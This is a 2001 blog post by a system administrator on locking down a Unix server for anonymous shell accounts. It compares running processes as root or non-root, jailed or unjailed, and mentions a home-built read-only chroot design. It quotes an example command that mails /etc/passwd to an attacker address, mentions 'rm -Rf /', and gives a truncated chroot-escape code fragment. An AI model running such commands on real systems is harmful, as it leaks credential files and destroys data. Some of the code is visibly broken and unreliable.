jails, chroots and other account lockdowns

Thursday, June 28th, 2001 at 12:00 am | 488 views | trackback url

Thu Jun 28 00:18:49 PDT 2001


    There’s quite a lot to consider when locking down a system for anonymous public consumption. Mind-numbing. I spent a good portion of tonight testing many of my own hacks on my system here, and found that some still work. EEP! Basically there are four ways to run processes on any given machine:

    1. [as root/full]: Processes running as root with access to the entire filesystem end up being the first target of rootkits. Compromising a service running this way could allow the attacker to replace binaries, such as /bin/ps and /bin/netstat, open privileged network ports, and read any file on the system, including a shadowed password file. At worst, they have the capacity for complete damage (rm -Rf /). Sendmail is an example of one daemon which runs in this state.
    2. [as root/jailed]: A typical rootkit would probably fail to operate, because they typically require a shell (/bin/sh) and basic commands such as /bin/rm and /bin/cp. A process in this state can break from a jail. Given that the process is running as root, the attacker could use an exploit to execute code which makes system calls to perform root activities (referencing inodes outside the jail). Though a bit safer than [1], in the context of a scripted attack, this state does not provide the strongest defense.
    3. [non-root/full]: The threat for a full system compromise is reduced slightly from [1] in that the attacker will not immediately have root permissions. However, any process in this state can execute all the standard commands and shells, and thus allow the attacker to explore the filesystem in search of
      root-level exploits. Also, most configuration files and information about the system are available to this process, so an attacker can garner further information about the system (‘mail attacker@domain.com < /etc/passwd‘).

    4. [non-root/jailed]: This scenario has the most restrictions upon the running process. Because the jail should only contain enough information to support the service, a compromised service would give them no opportunity to execute shells or common commands or to explore system information. Also, the extent of damage posed by file deletion is limited to directories within the jail. The greatest danger in this category is if an attacker can place binaries or files (in the jail) that will be accessed from outside the jail by other processes. In this case, it is possible for exploits to spread. Postfix is a daemon which runs in this context. Monitoring jails becomes extremely important here.

    I’ve designed a completely new way of handling this situation in my sandbox system here, one which I’ve never seen implemented or discussed before (I must thank all this Embedded Linux work for giving me the idea, and the guys in #perl on Efnet for helping me squeeze some of the last bugs out of the theory — no, it is not implemented in Perl, but trying to get something as spindly as Perl installed in the jail, and remain functional, presented quite a challenge).

    So far, in my testing, I have not been able to break through it. I have an edge, though, I know the technology used to implement it, which lets me know how to try to exploit it. Normal users on the server would not know this, or be able to find it out from their own vantage point.

    “…Nothing is secure. Only secured…”

    Creating a full file system inside a chroot() jail can involve several things, including hardlinks [bad, potentially insecure, doesn’t cross filesystem boundaries], symlinks [ug, needs no explanation],
    or statically compiled binaries [definitely not ideal for a server potentially holding hundreds of user accounts].

    What I’ve managed to do, is provide a fully-working, non-crippled file system with intact shared binaries and libraries, including perl and python and friends, inside the jail, read-only, in a way which is reproducible, secure, and not crippled.

    At this point, we have a fully-functional shell account, with all services read-only (using my new design), and the user themselves gets a nice large chunk of quota’d space under their account from which they can use for web, code builds, whatever (process-limited, and using idled, of course. There are ways around it, but that’s already been taken care of on my end).


    int fd = open("/", O_RDONLY);
    for (int i=0; i<10; i++) {
    execl("/bin/sh", "/bin/sh", NULL);

    I’ll let the others figure out what this fixes.

So much more to go, but I’m learning quite a bit of theory and technology I never knew before. I’ll keep posting my findings as I go through them. Perhaps others can take advantage of some of this on their own systems. The next step is to start locking down every service and daemon on the box so that they too run in
mode [3] or mode [4] above. Something similar to:

#include <stdio.h>
#include <stdlib.h>

main(argc, argv) {
        int gidlist[] = { 505 };
        setgroups(1, gidlist);  // or initgroups()
                "/bin/MyDaemon", NULL);

You get the idea. More later.

Last Modified: Thursday, June 28th, 2001 @ 00:00

Leave a Reply

You must be logged in to post a comment.

Bad Behavior has blocked 1018 access attempts in the last 7 days.